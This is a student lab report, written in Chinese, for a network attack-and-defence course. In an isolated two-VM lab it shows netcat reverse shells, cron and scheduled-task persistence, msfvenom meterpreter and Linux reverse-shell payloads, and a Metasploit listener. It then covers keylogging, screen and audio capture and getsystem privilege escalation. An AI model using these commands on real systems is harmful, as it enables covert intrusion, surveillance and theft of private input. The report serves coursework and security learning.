20222416 2024-2025-1 《网络与系统攻防技术》实验二实验报告

news/2024/10/19 21:02:33

1.实验内容

1.1 内容总结

后门:特指潜伏于操作系统中专门做后门的一个程序,“坏人”可以连接这个程序,远程执行各种指令。概念和木马有重叠。
netcat:一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
Meterpreter:一个能生成后门程序的平台,也有很多别的功能。
cron:linux下用来周期性的执行某种任务或等待处理某些事件的进程。

1.2 问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
在网上下载不安全的文件并运行。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win:windows启动项,任务计划;
linux:cron启动。
(3)Meterpreter有哪些给你印象深刻的功能?
Meterpreter令我印象深刻的功能有自动生成shellcode,获取敏感信息和提权的功能。
(4)如何发现自己有系统有没有被安装后门?
排查系统自启动目录,注册表,计划任务等。

1.3 实践目标

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

2.实验过程

2.1 环境准备

因为本次实验需要两台主机间进行操作,所以我准备了kali 32位虚拟机和windows10 64位虚拟机。查询各自的ip地址。
kali ip:192.168.206.128
image
windows ip:192.168.206.129
image
在windows上关闭安全防护和防火墙。安装netcat,socat。

2.2 使用netcat获取主机操作Shell,cron启动某项任务

windows获取linux shell

在Windows端启动ncat监听2416(学号)端口.\nc64.exe -l -p 2416
再在Linux虚拟机连接Windowsncat 192.168.206.129 2416 -e /bin/sh
image

image
获取成功。

linux获取windows shell

在Linux端启动ncat监听2416端口nc -l -p 2416
再在Windows连接Linux ncat.exe -e cmd.exe 192.168.206.129 2416
image

image
获取成功。

cron启动任务

使用windows连接kali shell,输入命令

echo "* * * * * echo \"20222416text\" > /home/kali/20222416.txt" >/var/spool/cron/crontabs/root

五个*号代表每分钟执行一次,将“20222416text”写入到20222416.txt文件中。echo" "代表要将这段代码写入root文件中。
image
通过crontab -l可以看到代码已经成功写入。最好在kali重新启动一下crontab,否则有时候文件会生成不出来。
执行前的目录:
image
执行后的目录:
image
cron启动任务成功。

2.3 使用socat获取主机操作Shell, 任务计划启动

操作步骤同上面的linux获取windows shell相似。linux监听端口,windows发送cmd到linux上。在获取的windows shell上创建名为“20222416test”的任务计划,这个任务计划的目标是打开桌面上的cygwin安装程序。
image

image
任务计划运行的程序如下:
image
可以看到任务添加成功,每隔一分钟运行一次
image
任务计划执行成功
image

2.4 使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

使用MSF先在linux生成后门文件

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=2416 -f exe > 20222416_backdoor.exe

image
我使用ncat传输的文件会有问题,所以我在windows使用socat监听等待传送文件
image
在linux发出传送
image

image
成功接收文件。
使用msfconsole进入msf控制台,在linux设置监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp 
set LHOST 192.168.206.128
set LPORT 2416

image
在windows上启动后门文件
image
获取shell成功

2.5 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

在上面的步骤中已经可以使用后门程序了。在msf控制台继续输入命令来获取关键内容
获取音频内容
image

获取摄像头内容(由于虚拟机没有给予摄像头的权限所以获取失败)
image

获取键盘输入的内容。首先在windows上输入内容
image
然后获取
image

获取屏幕截图
image
image

检查是否为虚拟机
image

获取安装软件目录
image

输入getsystem尝试提权
image
提权完成。

2.6 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

我将实践1的pwn1文件改名为“20222416pwnb”。使用msf生成需要的shellcode注入到文件中

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.206.128 LPORT=2416 -x /home/kali/Desktop -f elf > 20222416pwnb

使用msf控制台监听
image
在另一个终端中运行20222416pwnb文件
image
此时msf连接成功,使用ls可以看到桌面的所有文件
image
再尝试使用ifconfig查看ip
image
连接完成。

3.问题及解决方案

  • 问题1:windows可以ping通kali,kali不能ping通windows

  • 问题1解决方案:关闭windows防火墙。

  • 问题2:windows在获取kali shell后修改cron后,root文件中也有了修改后的命令,但是kali没有生成预想的文件

  • 问题2解决方案:重新在kali中启动一下crontab,例如输入crontab -l,然后cron就可以正常运行了。

  • 问题3:传送的文件无法运行,windows提示不支持运行这个文件

  • 问题3解决方案:首先我怀疑是文件生成的问题。在生成后门文件中加入了命令-a x86 --platform windows,使用ncat传送文件后仍然无法运行。检查文件后发现文件大小存在问题,于是怀疑是传输过程出了问题,但不知道问题在哪,于是才用socat传输文件,传输的文件大小正常,可以运行。

  • 问题4:windows无法运行socat,提示缺失文件

  • 问题4解决方案:在更换好几个网上的版本但仍然无法运行后,我打算上github下载。查看socat的github项目的说明(socat-1.8.0.1 for Windows),发现我没有安装cygwin。在第一次安装cygwin时,我没有安装一些必需要安装的包,因此还是运行失败,再次检查发现github项目文档中已经给出了运行socat需要安装的包,选择这些库进行安装后socat可以成功运行。这些库如下
    image

4.学习感悟、思考

在本次实验中,我使用netcat和socat互相获取kali主机和windows主机的Shell,并对kali添加了cron定时任务、使用schtasks命令对windows添加任务计划,通过cron和任务计划我可以在合适的时机执行我想要的操作。在使用MSF生成后门程序并成功监听时,我见识到了MSF的强大功能:我可以远程获取主机的麦克风、摄像头、屏幕内容,也可以通过读取键盘输入来获取密码等隐私信息,还可以直接获取电脑上的信息,而且对于正在使用的用户来说几乎毫无感知。一旦电脑上安装了危险的后门程序,个人的信息就非常容易在不知不觉中泄露,在某些情况下,攻击者还可以破坏电脑的硬件。我记得在十年前上网的时候,网络上的资源非常多,什么都有,但是随便下载个文件都可能被360安全卫士报为威胁,网络上到处都是危险。现在没有那么多了,很少见到火绒给我报危险了。我认为这其中的原因有两点:一是现在的安全手段更多,更全面了;二是现在网络环境的后门程序病毒等威胁技术更高了,更加隐蔽了。无论在以前还是现在,我们都需要有安全意识,做好电脑的安全防护措施。

参考资料

  • valorisa/socat-1.8.0.1 for Windows
  • 0x21_MAL_后门原理与实践

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/73576.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

测试问卷

main.jsp <%@ page language="java" contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%> <!DOCTYPE html> <html> <head><meta charset="UTF-8"><title>测试</title> </hea…

Multi-Patch Prediction Adapting LLMs for Time Series Representation Learning

这篇论文是出自2024ICML的一篇论文,作者成功将大语言模型应用到时序模型之中,并在时序领域取得了很好的效果,不仅如此,作者还设置了多种下游任务,从论文结果得知,作者的模型在下游任务处都取得了很好的成果。组会论文,有需要者私聊。

文件系统基础

初识文件系统文件是以硬盘位载体存储在计算机上的信息集合,在系统运行时,计算机以进程为基本单位进行资源的调度与分配而在用户进行的输入、输出中,则以文件为基本单位。这就需要操作系统有一个文件管理系统。 操作系统的文件管理系统需要关心以下内容:计算机中存放了各种各…

网站图修改后怎么替换

网站图片修改并替换的过程可以分为几个步骤,具体如下:备份原图:在替换之前,确保备份原有的图片文件。这一步是为了防止新图片出现问题时,可以快速恢复到原来的状态。修改图片:使用图像编辑软件(如Photoshop、GIMP等)对图片进行修改。 确保修改后的图片格式与原图一致,…

从需求分析、产品设计到部署交付各阶段说明

需求分析、产品设计到部署交付各阶段图解 下面用一张图来表示产品设计到部署交付阶段:研发流程各环节:需求分析 产品设计 UI设计 开发和测试 部署交付团队划分 按职能划分团队产品团队 后端开发团队 UI 设计团队 前端开发团队 运维和测试团队 移动开发团队 按职能来划分团队,…

织梦网站搬家修改配置

备份原网站数据在进行任何操作之前,请确保对原网站的数据和文件进行全面备份,包括数据库和所有文件。导出数据库登录到原服务器的数据库管理工具(如phpMyAdmin)。 选择织梦网站对应的数据库,点击导出,选择“快速”或“自定义”模式,然后下载数据库文件。上传文件到新服务…

数据库修改网站后台登录?

要修改网站后台登录相关的数据库设置,通常涉及到以下几个步骤:确定数据库类型:确定你使用的数据库类型(如 MySQL, PostgreSQL, SQLite 等)。备份数据库:在进行任何修改之前,确保对当前数据库进行备份,以防出现意外情况。访问数据库:使用数据库管理工具(如 phpMyAdmin…

Python算法题常用函数记忆清单

系统设计题&模拟题链接:https://leetcode.cn/problem-list/design/字符串操作 splite 按指定分隔符转成 list str_list= text.split() # 默认按空格分割 (函数写在后面,用 . 来调用) str_list= text.split(",") # 按逗号分割 strip()去除两边的空格trimmed…